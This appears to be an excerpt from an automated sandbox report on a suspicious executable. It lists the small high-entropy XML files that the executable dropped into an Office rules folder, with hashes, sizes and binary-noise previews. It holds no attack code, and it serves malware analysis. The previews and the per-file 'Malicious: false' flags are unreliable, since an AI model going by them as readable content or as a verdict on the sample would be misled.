SSDEEP:	12:UL9uQ357nAHybeBhKefsT69HYTl2knpbNadVtOu9nEeHo6t7Uzv5L8lulGC1wVSw:UwaqeHzLatDqeHo6RUzvelyGC1w42bD
MD5:	129254BBD7523187F956D0A62D28EF01
SHA1:	500258EE320BD4C0D7350AD577CFCEB8FC8F6A0B
SHA-256:	D122F0B38535692C73D24C446743F27299BAD0A486607E0E9989D9109D94D1B8
SHA-512:	83CBF942BCC90C6790113DFF69B10959FA74B96C6600C83216375CAF2EA7B0F0DFFC169830C6DD9E7DCB5D0100F5EEC007678A2C7F197048346B2D8A1C5008F7
Malicious:	false
Preview:	<?xml./....\|.g=..QT{%..S...D... ...'.....N.P.....<]U....)-...U.{.......V%...z...q.yF..'.m.......J9..%.`.k.u..1...m.}Q..}..;..:3...BQ...${..1.&..\|..g..k.2.........xt. sVB..k......>...`.t...Ex...{.=pB..z..........`....^E..G..T#....../...#..."(...18F:Yc.2...... .d.....r@.&q...X.f.]...k..v...qT..l./..b..n-...T........t.H&....WL.{..........<]{...Q...p%.d.).."4..o.f......Y....w.0.:..y.i.".....>2...Z......../.'...0p.v.FA.xB......sa4.Q\|\.C..G.c,X...7!.....G.g...N....?.....m..>..n}Y..jg9...Q*..5P..'./~tjV.^..n~..)..Q..pT..K.[7S.~...&@....&C...=.{5..x..{.oZW....<".............{\|R...k....,M..g=....N.i/dw..c..nk9........J-........G..#.>..w.(.:}..+1.X..........r.. 3.....#......u..7$M.5!.]T..s..p.1.Y.~\s....O...G......1!.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.698936323396467
Encrypted:	false
SSDEEP:	12:yYtGEa1rhQ5aq5u79GSK33hd3H+NvV1Bfr6ab+fPSdWdYDW7TnQhyJKqPcjtXnps:y7trhQwqa0SKHhIf+YBDgnQhykqPcFps
MD5:	61A2D5DCF1168AF490893613C42C9DE9
SHA1:	01B8B57A13EF8E8CC7BD0905E2AFBB098CFA65FB
SHA-256:	841ECC65DD3013FCC7CED91F63920A05E1171CD876EC5B0E0BE3E99408F9FC57
SHA-512:	751D982655D5F0F890C035E5DF9635A09E8D90A21BADE05E87B12C303ADA21A3A22289CE2FA04D0BDD4E867F05FC518977345B2B43896DB6BBB9F9A4477AFA87
Malicious:	false
Preview:	<?xmlH-o\m...v.X.w.........a.J:..LH.q`...I.c0wY...RO48lWU..sn.n.\|2..EI..P..t.s.../..].=#2..X..........~.2.8-R..5+v..L.A..(.P......p2....t..t..vg......+.... .j.O.K....6...+....k.i.....i.dD00{>4.......H..v...E.o.:Q.EU...?...T..V...~.L4.JKp$O..5...n.Mx......SJ#.-.f..2..e...G.t2[.,>t.f...1. .....%3..q.l.k...iy<a1.w.'.....I'L.\|t...I.._O.(....]......t.i6{.j.QS.~...U.E!....)....q........./.;.2.x........w....E...pc....\|e.%.....w;.C..dC...?L23f..D"....x.sB....b.....FtgF...N.>}3..e._..N.MS....DF. ..Sajv..O..K...:.../..}..0.GC..8P...L..6..z3..~.{...j.$..K.L.>.#.e...D_Bp.z...*j....o~.........-I.#......l.\|....+.2.......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.765965830745834
Encrypted:	false
SSDEEP:	24:6lKkviNeaVbqxW1Yub+tKD5/zCRiF30a2bD:6lKogrtqxQYvtKZzdFqD
MD5:	A25E3B736714DEAD4E496EF838AC755A
SHA1:	28D7740662D9B085EE0678D4A57ED74FB2C57E2A
SHA-256:	5DEFB422BA396AC869FC4038AF0CB3DEC59C7F2291B0D44942343A4BF257DB7C
SHA-512:	E0E983598BFFE83D92535E68545A6CB372A966EEFFACE59E848ECD907E131FF464EB0C6A8675221FC18D521624B089C510619CE55B290F5157B662C3CA395D48
Malicious:	false
Preview:	<?xml...5j.H..xvxr.[.L...j~.v..........<M.Su....3rpj..c.\|.2...,...S....2.]......l....,.) ).:....3.M..!....u n>W...W...%Rd L..u...c.;..N...;[..."..7.._;1.....0.....o&=6.o.k..q....ME...%.t.......cu.d@....v...<.=.}...U.....j...hm..a5.:^.9q...v..0o....f'...'.U..=+N..?.h@C...gy..{[.F.%..q5..%.^V(+;..._..PN..H\|..ZS..._ ....Q.N.x...QSV.l..W*..k...Z..m.o>.Ck.....L6..F>....#=a..R..\.L.9..=.....e..n0.j#.Wm.+2Tu..`V"s..tu)..#X..<n.J....%.p...c...... a.4u.{..E#.{1.k..j.W......T..^:A.].Q35m.n.'..4'.......v.u.lJ:...0...G..(p.....>.#6..2....S<......,.d\|.3..T ....N&.l..<....j.1..h..........P...Y..nv......kjF,[.i../.pw..a..l..Kc...5...(.A...>..E+.....p..k..y..Y.+..Fj.L.2te......./#..n..;:@..3.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.703561799809469
Encrypted:	false
SSDEEP:	12:OQ+fBFzY7LRbmx1SmyEK8CJcfrA5Yh1C3i3zXVSnYyXE+47nkuoNSUdNcii9a:Dck7QxtyEE+zZa3i3zXAnYyXE+47nkuc
MD5:	DCC2D0DBC5D2C84D00F34AA54D8EDFF0
SHA1:	262823240F36ED46AB10C9565518DA66AFC2E381
SHA-256:	ECDC092F8046BD6DDF69EDDF56F33BD6DBF1FC1C3782321EED7B275017FD74C7
SHA-512:	AA2E1E7004F63D982C859D54E6B7BB2462A1E27788D39E89B15B9F59696C9B81BF36009DF12D6B4D591EE6E3332FE89290226A839C6CF33D73287A8C7C834832
Malicious:	false
Preview:	<?xml>W./q....H..m.7Y...........3.E\|...F;...@Rt...b....:.1s.....7....q......F.U..Cz~T7.=...bS....a..w>.:\............sK...$.F.w.}f.^..7R<..6h.......3q`X.aj$....%F.....Pg..m...l....Qi.p.@......gT.......2.R=;%...g(.C.BWe.c......Ksn..FH.u@,V..Sj3E..9.X..'......Yx..(....T.Z1.>.....7..J<...]..K......:$.V..;l......$..rD......>.%....!%.#..3+.i.N../......@`......SL..^g/5.m.mM....g..d....../..R..;.0Z..._X ....vH.E=.5..A...".A..I..Et..o....D.......8:uS..\ .o..7......+....}......(..QBZJd....@V..p.$....p.....{..+...TxW$....x...[../w.xD\*Xp.P51.S........'`..o...3........"....L.......I...5A..h6...6.a.......We.p..!..x..U...[F...I..X.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.704020778890778
Encrypted:	false
SSDEEP:	24:knmS8X+Ry3BkoBEYHKYTnVBdI9vsadU9l+1Jd2bD:knmS4+mkoHHKAEPU9w14D
MD5:	F8ABB5FFF2279DDD4F816D68823B8278
SHA1:	D75FB8950B24E83BC2263BA9A1D209A51F5B7547
SHA-256:	46D5129B6561FAD81E8BF3E47514927DEACE8F7D49E51137C12BC5C1582E4D59
SHA-512:	5FC33BF42EA4603A74CB7C6A0D54F39CFE19E7285F9610810E2A6BA0A58D93ECFCE17CAEB35AE3EED0D63B7081E6EFC122BC2F3F94D03688DBA7F47F9C66FD72
Malicious:	false
Preview:	<?xml{.;>.V...Oe`...I.A..3...M"`.].(.1...@.U.....\...WT...[.Nt..6.....l..i..Nq..v...A.n..?..f.F.OI=.6.F-Y..M.1M.M2..=.:.Lr .&.G...47:X8.B.N......5....W.@......h.8[O.m..+@.+....K..r.-R.....z."..U.\...'!....C...m...(\|V..0].9Q.....us....i...hd.4.......NQ..8..q.....4.zKO.V..1.~.eO..2..3.-{.)^L.7.......=z.(.......}.4P..>....L.5....@-...B..9.../....,:k...7F...............gc^A .w^Nq.5.{...F....WCp..r....6...;.....J. .!(n./K..f..x..+.M.....lG_....U../k.....Q+.`:..'0'.7.J....9SU..]{&......q....53...@]a.ra.3.pV...].x.;j7..T.7.w.......a.....>A.\|...-~.<.B..]K.....u....h.,..r....e}m..BA.+..U8...;..e(..m..t....{.!..A@..<....n....*.-G~Xw!..I.h..D.v.it<w..qe..um.>B.......9g.P${5.0.d[.&....Ru...qmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.703864186632672
Encrypted:	false
SSDEEP:	12:+wp9Iax0qzLXCUJGW9g3KY1t41JgAT/tp+ECU/bDdbxc51gPCfaGme04SUdNciik:+CxnCCGW9g3D741JgAztpZCUTDDc5SPm
MD5:	E132935DCBF7AC16261A5C6503658DD7
SHA1:	1E48790823F84DC5C26D2C8196997567F096CD19
SHA-256:	E9DD8F49D54A25D6FC84C8820AB324FD4C66A57603A3FF84B85869F43F97D04B
SHA-512:	69F2FDA410D442A3B92B5BEAC0F38241407C450931221D32EB6CA7854BA80B057863DEB143D9A0540663A484FB2F93D21748651AD23769E01C12A2C8FEA883D5
Malicious:	false
Preview:	<?xml...h.S..M.X.Q..u.nZs=.v-....)..k..X.........,...Jq.&"..'.l.Uy....sLcr........LRH.VEo.c.X.L..x..4mfP@'..2..>....!>.b.v6....63.W8..e,#.....gk<.b..0.Q.aL.il....Ry...9.Ie.. ...U..J...@.6..i...:..rvh.S...)c"U.X...>,..MKQY3I.@..Y...:'..hJ.....}........8oO..Gy...A..5.....Q.@....,9..j...)X..).9.R/Z......F.f..:t{S.`n$.....u...+..1...{pl.j.z......,...X...\|..~M...+.....S..U.0>ah...L.\|H..-gl.&ox.....E..c..`.....,....p.....T.:).L.....A?......s...y.....Qk.^..Hh..KY.@.......k.w.:(...~>.............l.....4.......</{..Z...pF.n[m.....%.SI(.w:.6H..i.S..n..hm./.T..;.]..NR.i.....2.....BcAuj.F.m....q.j..Dksw{.Gh.r.<...5....db....:..M.z1.....K.nm.Q`.`.v..._ZmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.731893249366072
Encrypted:	false
SSDEEP:	24:Ni41cV9P1sbdJYtaWu+M7Wm4mkQ3Bp52bD:N9c8bdi/u52mkeB8D
MD5:	AB5887AA5B107B959CC6D946EA7D11F7
SHA1:	B9D8A08EF0EF49611283B2AEA3DEA16EA0070C31
SHA-256:	591B83EC5C9E68C43E26EC15B8D21B1BAE0A9DEB16CB395803BFC27D2962077A
SHA-512:	DD37CA767E791083780D0A472C88B6618F4C56477DBFAEACEE19B43CC4EE69B03895B8DD889AB966CF6CE01476D0C1852F2B253B625DF5E42111D1D3EE4B120A
Malicious:	false
Preview:	<?xml.q...ta_6......U..C7.g.m<.\M.X...3.qI..q...P...Kab.#.6......]u5....YJ.4.\..oA..........[.J......gt..s.-#q. ..ap-......B..9.G.O.i....^...>..f..`J....H.).^c.:jS..c.L.K..y_U-....l..h/&..5.Z.$.....$.O....c...S..sCD..b.P.`..5...........Y:.)..0.=.A..X..k.o.P.3YD6~...o..RR..>A.._...".o.y.!c.._".\/.......]..0.c!.O`..".[..;...?\|..A@g.B..........{.9....&.<..........I.H.>.'..(9.E....BRx.......4f.R0...h....<...<M=J\(...<g.23.1\|....`..g..^1..qp.3)..e...X..,v.K...4...js.....j..u._\|..BD....D...Mc..d1.J;."..V.9.a.d=.e..q..=......L...#...9z...i....O...t.......%....1....D...\k.w...{`.l.J.}.x......P...(.5.#.....RC..4d.~..d..m..6...G.u...\|}J`....d..g..X..\.6]..x}^L.&0ltu......41....HG..f...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.702588022059751
Encrypted:	false
SSDEEP:	12:Tcz3M6KbNMjRXzk01rqJG0TI8aR4qBFmwmku040oIkOGxdL//8DCfqGyMSUdNciD:AzrtFXWPvmB4Tkmp3xfT22bD
MD5:	918F7F57D97922E1006E613C046014F7
SHA1:	CDDC3130541AED2F30CA9EECA18611716DBE981B
SHA-256:	EFADF09B4BA06530A6E55732D3CC05F98E8949F747752AEA83EAD97607E0B753
SHA-512:	10831FF412EBF8CAFFA3DE6A10F6220B1BEF706A652C16FD0BB476AD435D8D61E0E4C82ADC278F527B86543EB70349D96E1E199F9ABC6425201EECA5966EB5A4
Malicious:	false
Preview:	<?xml...k..01..0..X],.=M.b.p...c.8h.{A.iz..W..u,.7...i.z....d..\|9.........AX.+...#`D.^..fa....8.1JR4U4-b.W.#...^.....CtB.......p...V......K.Oc.s.U.Z...g..a1....x.'L{i.....9..1..LG.g.BfC,=.G...y...2U........7..y....@{..C...g.?.Q..;P.C-."...moA.2.......b-..........Pg....r...([......A...V....m....Cq.X..n..7.'........PF.=..P}A.F.f>.....c....._P...V.V....r8l+dT/V\|..........y..i].>..Db....fi?.Z.W4...!.....{..{.....!..G[.o.@ .>.q.<t_....N......^.G.3..&x...=..Q..ON..K^?L....z..O'.....J............__.@..."qdc...4nW.....kB0.D.".(.....H%.>.d...9w..`N....d....z..s.d./...o.%a.g..T.......Zc=.C...i.^..&....X.U...D....&..D...[C.B......Q.....P6e?$4....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.729630182212496
Encrypted:	false
SSDEEP:	24:ZgjhDoRsuGBW530FQ/Jg14zlvHy9/7RA2sbigc2bD:WtDoWuG4l8qJg1GC+VbiSD
MD5:	412913221C0866215F73E708718D4F0F
SHA1:	54F4D496C03C2B99C14FD49DE6B0E8C8628E7640
SHA-256:	C3CFDC05A3C44D74F9FEE9B21E4A9FF345DBF292FC6241F4B16E770BF46C4E3B
SHA-512:	1A9AC26871F310554A03BE0024939C38C957F3CFA34BFEC7B6C1817CDDED39DA398CA0DC7655AEA4C36C2C2AC8F4F6CED0B72DD691512F3B2AF3064B422F4BE5
Malicious:	false
Preview:	<?xml.O....kG.&...h+.'.C.g...r].. .IY.9.M.4...\|..u.@..eR.#.....z-...Kt.u........\|,Ak...%.yK.F....-g).{A>$q..j.....[.bY....'qo>...y~...z.5........9..;DK4...8..O..c./....Ri_\k./.b#..u7u..wA.2..'q.._A...W`2..(..3.yP.....0...Z.p.O......V...h.B.Y[1.U....+.&.. .....b$..4."......;.5Z.J..a2..4.}N..#.W..'r...@..._...6E.w...$.w.U..^0...6!.B3.V....V.S.+.X.c...d......l...@c...g.nk......`r.......'\|..W......\|..Z.8.../.....zY$.F{!..q.=.kFJ.j.......6n.g.Ht....).,...$....YD%....d5j.....e`T...m.d.c(.uav...u...+...s..A...Y.?.C..Z[G.QBo.a.[/6._".eF.z.. ......u......K.{....$...P.............;.hu....;..F?.B.lni@..6.I./..m./.O.X.p.S...(B.&9.....?s....0..o. $.8~.\|c...li.<\v....f.....\|.^kb.x&v.......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.732001364630611
Encrypted:	false
SSDEEP:	12:MSIXwCphxGtbyRrmcPvlvESGKlMZdAR1WDXB556iQTLy/mMEhccvTjSUdNcii9a:HC/xG5urmYJKgRGx5JKMvKu2bD
MD5:	7A4A3D9E55B81FEE069B1F9C2BE0F0BF
SHA1:	C6AB7AF598313E142C48C61B762032C4729371FB
SHA-256:	7F8EFF8122D1CDC64E11627BC923B41BA159992F3B843FDAEDEA1EE98BD89A89
SHA-512:	684380F8FF35899650E8604A558D46A325137C083B0AEB79F5543A68283496FD5C3B939304E57E01C0E52E2C259AF174AF0BA459988FEDE74EA2B1A998BFEF70
Malicious:	false
Preview:	<?xml.............G...z{......M........b....u..s..0.e.v...+b.......tP.-o.....a.G.....g...@^P..b....c...f..Ki..)..Tn......X.....OBa...HMx/......S.[.j....e..k...\|..{..g....:.3..`.i...%..9z.^Q)..DXO ..TuV.).]@^Nba.....P6...........el...5P.........q.u.....qH.9......j..R......a..F...p.\|......k$'.k...'SBv.;.qY...];.L...ExsW.o..u.o4!~.{.J..;,l....Kv......4P....s`B...`"....&.,+......p46.0..^$......./..Z...xA..v...C....&......E.'..4............F#d..c.1..3).._..pH.....Z.nia.,".RY."..J....{wq....aVa.{..~t2f{.....%eY9l..GkW..L..ly/..f......;..itT.GOEZVt..r...G..6......3..h.oO.C..w.>.7.5..&...:.b..b....}Q..XE .L....C.{...y.YA.....H$,`$}W..IKX...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.745547809516515
Encrypted:	false
SSDEEP:	24:zlYnIWHBAtS874AvvOMbC3Y8BxmarLOfm42bD:zintx8v+Mbkvmg5rD
MD5:	849A2B4F5A84C0E41E45CBC0C02FF8A6
SHA1:	C5B391A91768D301EF92D107A38FCF504E5FF7CD
SHA-256:	214E0FE08ED6893C40E1E2D9958B78211F708E8E83618C8D7AF282BF11A7F702
SHA-512:	63BB716AADB812D927B98762C8860B362B196EAA319839BDF36921CEEAF6B61E85BFAFB55AC58C70D473FD8D80F06C82A100EB1A91D88E4819DF2848C586E3E3
Malicious:	false
Preview:	<?xml.N.4k...../4......G...b}..<.ir..V;.'I...}...(!..?....n.......~_4H.3......,.. q.."...^..'u.. U>.h..._...I.{.>..xs...D.UB....b..2.1h.Y.. ..P...t.?.... ........d.....-/$..nD.l......s.B..;V]\-bw. q[.V)p.N..p...V.a.1...........k...R....D...d.+...+s...H.g$...:%B..3.f\|...G.z%M......P.2.lD.O..V.L.....].....R.S..{.a.."...~.HOlis'-U...b>H~....4..Lu.<31zCR.G....6 nO.....J../z".:<.I0'8.^7..I>..1...T..a.`F.~.R;.)S..........4.....u\|..#.......h..Q...-dCr..H.....3M..;.85.`..C`.!.Ce...6....W..M.&...r.N.v.o}..Jwg.Kz...\|.G.C.L&....b...'....q}.}...Y........p6G...-7j.2.%.[DU. .A..WH....n.*O... W&FAG.(....X.M._..3.\.....9...-..0!p.5Wex.....G.\|....U5.Z.Ok.=,......^.N...&..x..^._G.........$ h.D.ajmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.725262709278856
Encrypted:	false
SSDEEP:	12:r2PAFPUBf6Tch9R1ZWjg3ea4WaToIn615w7TtuyK8SPpmAF4HMXnZuSUdNcii9a:r24FPUcArUkeal0n61wXipXZd2bD
MD5:	2265BA6FC81845923E4CB1E8253A720D
SHA1:	11F40CA46F56F6F743B4415AF5A7B6069F975C3C
SHA-256:	D0725E3878210D53C6CAB135C3DF3F67272CFBD0316E6D24B0E3A0B78853DE2C
SHA-512:	AA1858AC6704D3F99BB8868A4A9F6F44D01811156A131164C1C84297A32A9DC47C1EFDD64B2BE2584BC5A07A09FC56D09D09A94C9E91B684C2B5E78A90827289
Malicious:	false
Preview:	<?xml..............S[..w.rn.Z.h.........s...O_..9..9P.o(..4.&a...y......J...Iu..E;{c..9/.....;..q:d..q.wc..A_.R 2.S.!y......e..#.y.%.NW..1<c."Lzu....5}E.F'..rT...pe.)u..:4.K.U.r...n.,.#..m......)e.\...mi"......k.n.NiT.....!..hW...7.[(.<u.5.\E..t..Q......hm...1!....).8..uu.z.."...4.X x....f....b.1...>$f.b.\|.7O.\|.z.f.=.!.c.Q..........f.A..$.....n4..o....f..B...$...~....>.b....K*.]..W.....M..]z.(X.....!R76.g..g..=RC].s.....X.Nm....`Y.J`.9.D..E.8.....". A..d..R.\......U?..T.........D.S....... ......Y.MY#.......v.R..dp.$..Z.g..<s.}...9lAk..-......\|.U.?.d\..,...1.......?...f.d....D...f......1..i-...L.j....$2x.Z.}......?......Q#_uu....2....{mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.727779626738855
Encrypted:	false
SSDEEP:	24:GfxRR+RyfcTqwThAqY6P3DSKi1/yxUiL4N2bD:g3R+RyeLh7YuDU4UiBD
MD5:	06395943C482E329FBAB0E28C7E33B69
SHA1:	49C628BF1051D47CB566B5D5E5A4C4D185842151
SHA-256:	652759342AAC8BC7E529BED7716E2E56A83C880785426CDE6B37E821DA8DC2F3
SHA-512:	4D095CCB07184CF6E089913DDD9416B49F68E252CC36F70CFF246EE2807AFD9CE510E2CBD682D22BCD062AA17F433F56E590F3428DD88DC0C25C59B83B43348C
Malicious:	false
Preview:	<?xml..mdk.Q.6}..w.......s.-....Am.yY.=.).....?cT`f......z..Q....;<.'..o^X.wpV..`sD..v..R...[........$..{&.s...\&..wH4.....T-..$r~..x.L"B.4.....<..hl......+..6..r.D+L..{.&......'(...9.({v..O..X...C.7.+...&.7..R..T..(.4k.$.V.........C......1Y.j...".6...y/..,..>.I.....[.TI.z..-....zD.9....H.v.{M.(..3..-.] .sE.\v.v.Pn>+J...rD.nw...#..D].$..N.....~. ..[..f.<#".1.o..J.;...b.^j..5I.OC<rz..L.........x...n;.oH.F.$k...!.0.L..KA....@~..a^qg.. ..2....#.._\|..-..Qv..O..A.m<.;.....gt...>..B9.E.?>.....H......Sx....( ..4.a......U..r..y..../.s...o..8.Q.$.}...f...;....s..k.{.g... .....'.....].'^....j..9e".E..%..1/.'...S09[gyC......Q.....W:H,....!O_/;>H.,...ql....h.....'....).%\.+.ns.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.715180815639804
Encrypted:	false
SSDEEP:	12:GkUSsgaAQ4Yc3yE68aG2bNRnWeD+b2EwYtQuVPCpZORWDFgCbU0Zvlc9uYW6y7Sw:OeGRNw2KUZOz2U0Za9uFY2bD
MD5:	404D63A212AE52D81275CC8D15FA6CD1
SHA1:	62B90ACE8F06EED9722206372C359CEB49D02E93
SHA-256:	72AE1261CEEAA3E1E27DBFD227361728D0EE9195F1FFCD768BF623770D7BB2F6
SHA-512:	ED116DC7940D552C6348AB61D395006101BCA4404F4D40AFEA39BB230B0259305A0E3B623257291F5D7A9F3A6F1BBB971520125E1F43F01041B9780896F8D084
Malicious:	false
Preview:	<?xml.LP...n.... -\T.d..R....TB...+@.......P.T.?.-.s....Kg.!>)sO-...w....!..........d.p4.....].D..p[.......w?.J.dp..'/...!..+GNL.V..YM.P.;.....&}.v...'5%...;2WA...q..T..C&..i...X8..ho?a.I....?D..ha.@.#..3P]....P.]Z..G$....TI.d.,_\|..N...by..w....J.E.D.......!>jWJ...GWd/....t.?yY...(..-..........8....s.jQ.:...f..1):.7.w.8QC..a...?zKe...5Ig.C..~L\|.......)\|....Z_N.^u-.On,.4..$..J............d6,...3......N.V..6]F^w4.G....C2...E.C..Z)....{.....R..m...F....P.E..r..Z.A..`..E..l..7[..q..$.....u.14Y-N.x.L....+..7...,...E.!.1.......D{.r.XZn...Fi..h..d.K...PT....s.U..qvv.. ..X......RN<......]...IC~.....V.q.......o.....d.A..dk..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.755360876709014
Encrypted:	false
SSDEEP:	12:iuHKThSyCyecSIlIVA6aBkW+p5ksQ4ZoqPLEuoH20gcConsBWFSUdNcii9a:iuqTcyCynSIlIViINZdoH2npo8T2bD
MD5:	A6A17156574C020560FAE3E9198BF243
SHA1:	5F5AD4EC630DE445EC18B642298D9817630047FC
SHA-256:	0B9C10EDD9D1D937809B8C99401000D83B37B85109F368FFBD62BF4F3C7EC44A
SHA-512:	2081691063CBC227ECDB4C946AE4B2EBF7F2ECD6CEE39648EC50DB552839A66C2477379CDE75E1547F6220C241B4A0AE66D3F1657603615610FFB6991E51A5F6
Malicious:	false
Preview:	<?xml.z..z\|....".?.5.....I....Jaf'....V7.k...%.Np.d..x..x..'...$..j..'e..........C.....8.1.......md..T..BX..-..\0C..Q.....<.<.@+....X...._...r.e@Y.....uP....m..C].......m:.....i...#.....Zu.#K.0.c..y..W.....c...3...C......R...D.f..}..b....6...f9.R.w7.l&./\|.n4....l,c..z..k{..C.......f.p.n...Y#...(...@...3.:....]K.......z..I.ig.g....6.....:.....m..r.....hC....rS.Cg./B...C.c....aF.lt..~.........VU'o...}...v@..N.=?.@.u!..m., ..5....u.....J...w.......\|..0u....yFM.....*#i.7..I.yYU./...D..E..Lr.ZL..[;..t.).....hT...L.fF96..1...LT..a.]....]..G$OB..'@...V..yRQ...Z.A0N.h..]w...kar..#.]....k^.o.0i.x.....r.....w.bo..".\|.I<b....Fi....\|jv.........0..$fr.AN[..3.U..b.L..r.&....M.y.N.M.c...y.U..g.tmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.572712347521542
Encrypted:	false
SSDEEP:	12:j5z9KLOuvNH5ihtIkrfxPdLegG9qLb5MCMLZLOV/aMSUdNcii9a:VzkC5BLxPdLegGIXe7L8V/O2bD
MD5:	0B378C7EA18D999C30690715C01584C1
SHA1:	03749A450A6F4FE9F780860D26C93A31E76E4BE5
SHA-256:	FA406D36AB93566CE063E482A7D20EB2A34768E8DA8F0B02FDD0B9D321735A3F
SHA-512:	66EE03F31201C4F9B049997BF6CBA46734D19645C6A1F859AAAB73217CA46A603FA860A37ABB1F629557A25000511F9970C9D3E307A9048DA3AB01CD64364B4D
Malicious:	false
Preview:	<?xml.%a{..vU].$.j.....uL.D..&!...`.N..'...r....~N./h.QP-a.(g.ms.H1...:.X;.X........V</.o.48:........G.C.<...1.E...X..Z2...%......z....<.0"?...?.h..L6u.^..q).L....,....n.^J.!.S...X.l.X].Q0..#.:..y:&7..`z.l.6QfE.=^U._.L..r dmT..` ..I&...q....;......G.U..&.>...~.l0...<........aw.{..........{..Kfbz.&iq.o....e...d=b.}...k...M.{k..x...k...p....u..Q...6D.Gn...{.>..P.'.%.c`3&.L...E.?[.@.k......m.:.....C...*..]mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.910607477687102
Encrypted:	false
